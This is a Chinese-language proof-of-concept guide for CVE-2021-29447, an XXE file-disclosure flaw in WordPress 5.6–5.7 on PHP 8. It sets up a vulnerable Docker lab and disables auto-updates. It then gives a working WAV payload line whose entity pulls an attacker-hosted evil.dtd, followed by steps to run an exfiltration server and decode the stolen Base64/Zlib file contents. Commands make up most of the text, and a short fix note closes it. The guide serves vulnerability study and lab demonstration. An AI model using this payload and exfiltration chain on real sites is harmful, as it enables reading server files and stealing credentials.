CVE-2021-29447 是一个 XML 外部实体(XXE)注入漏洞,影响运行在 PHP 8.0+ 环境下的 WordPress 版本 5.6–5.7(已在 5.7.1 中修复)。该漏洞存在于用于媒体元数据解析的 getID3 库中。
WordPress 通过 getID3 处理 WAV 文件的 iXML 块,该库使用 LIBXML_NOENT 标志调用 simplexml_load_string()。该标志显式启用了外部实体替换,从而绕过了 PHP 8 默认的 XXE 保护(已弃用的 libxml_disable_entity_loader())。
simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)data:// 包装器 → 任意文件泄露本 PoC 使用 Docker 化的 WordPress 5.7 + PHP 8.0.3 演示该漏洞。Linux 用户可使用单一文件脚本,该脚本也会生成 WAV/DTD 文件。
▶️:https://youtu.be/YnGowuWHFyY
在 Windows 主机上安装 Docker Desktop
创建专用项目目录(所有 PowerShell 命令在此目录中执行):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
部署存在漏洞的 WordPress:
#powershell
notepad docker-compose.yml
复制并粘贴 docker-compose.yml 的内容
启动容器:
#powershell
docker-compose up -d
禁用自动更新(对漏洞持久性至关重要):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
验证存在漏洞的版本:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
预期输出:WordPress 5.7, PHP 8.0+
WordPress 安装:
管理员:test / test / [email protected]
完成设置 → 访问 /wp-admin
攻击者 IP 发现:
#powershell
ipconfig | findstr IPv4
记下你的 IP(例如 192.168.1.196)
创建 DTD 载荷:
#powershell
notepad evil.dtd
复制并粘贴 evil.dtd 的内容
生成 WAV 载荷(Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
通过 python3 -m http.server 8000 传输 → Windows 浏览器下载(例如 http://<VM_IP>:8000)
注意:由于 Windows 环境中的二进制转义复杂性,WAV 文件需单独生成
部署利用服务器:
#powershell
notepad exploit.py
复制并粘贴 exploit.py 的内容
命令:
#powershell
python exploit.py -l YOUR_IP -p PORT
触发 XXE:
http://localhost:8080/wp-admin → 媒体 → 添加新文件
上传 payload.wav
监控 Python 服务器控制台 → 捕获外泄数据
解码 Base64+Zlib 载荷:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
升级到 WordPress 5.7.1+ 或在 getID3 解析中禁用 LIBXML_NOENT。